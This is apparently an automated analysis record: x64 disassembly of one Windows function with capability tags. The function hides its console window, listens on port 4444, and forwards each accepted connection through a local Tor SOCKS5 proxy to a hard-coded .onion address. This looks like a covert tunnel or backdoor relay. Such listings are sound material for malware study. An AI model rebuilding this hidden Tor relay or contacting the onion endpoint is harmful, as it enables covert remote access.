Function at 0x140011686
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x14001f7a0
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xca
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140033040]
xor rax, rbp
mov qword [rbp + 0x498], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011992
nop
xor eax, eax
test eax, eax
je 0x14001f802
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14001f802
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov qword [rbp + 0x1e8], 0xffffffffffffffff
mov qword [rbp + 0x208], 0xffffffffffffffff
mov qword [rbp + 0x278], 0
xor eax, eax
cmp eax, 1
je 0x14001faa5
lea rdx, [rbp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14001f866
lea rdx, str.Erreur_dinitialisation_de_Winsock
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14001f823
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x228]
call fcn.140011749
nop
mov dword [rbp + 0x22c], 2
mov dword [rbp + 0x230], 1
mov dword [rbp + 0x234], 6
mov dword [rbp + 0x228], 1
mov edx, 0x115c
lea rcx, [rbp + 0x458]
call fcn.1400113b1
mov qword [rbp + 0x488], rax
mov rcx, qword [rbp + 0x488]
call fcn.140011109
lea r9, [rbp + 0x278]
lea r8, [rbp + 0x228]
mov rdx, rax
mov rcx, qword [section..data]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14001f8f5
mov dword [rbp + 0x490], 1
jmp 0x14001f8ff
mov dword [rbp + 0x490], 0
movzx eax, byte [rbp + 0x490]
mov byte [rbp + 0x434], al
lea rcx, [rbp + 0x458]
call fcn.1400111db
movzx eax, byte [rbp + 0x434]
test eax, eax
je 0x14001f953
lea rdx, str.Erreur_de_rsolution_de_ladresse_et_du_port_locaux
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x14001f823
mov rax, qword [rbp + 0x278]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x278]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x278]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x14001f9c7
lea rdx, str.Erreur_de_cration_du_socket_dcoute
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x14001f823
mov rax, qword [rbp + 0x278]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x278]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x14001fa3b
lea rdx, str.Erreur_de_liaison_du_socket
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x14001f823
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
mov edx, 0x7fffffff
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x14001fa9e
lea rdx, str.Erreur_dcoute_sur_le_socket
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x14001f823
jmp 0x14001faa5
xor eax, eax
cmp eax, 1
je 0x14001fbbd
lea rdx, str.En_attente_de_connexion_dun_client...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
jne 0x14001fb1d
lea rdx, str.Erreur_dacceptation_de_la_connexion_client
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14001faa5
lea rdx, str.Client_connect
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r9d, 0x235a
mov r8, qword [str.127.0.0.1]
mov edx, 0x115c
mov rcx, qword [str.sg5zjlrro2qcb2ken5wyhxef7i7rwxh2zodz2c4tthd3oxguh6pobvad.onion]
call fcn.14001150a
mov qword [rbp + 0x298], rax
cmp qword [rbp + 0x298], 0xffffffffffffffff
je 0x14001fb86
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x208]
call fcn.1400118f2
nop
jmp 0x14001fbb8
lea rdx, str.chec_de_la_connexion_au_proxy_SOCKS5
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x14001107d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
jmp 0x14001faa5
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400117e4
mov eax, edi
mov rcx, qword [rbp + 0x498]
xor rcx, rbp
call fcn.140011456
lea rsp, [rbp + 0x4a8]
pop rdi
pop rbp
ret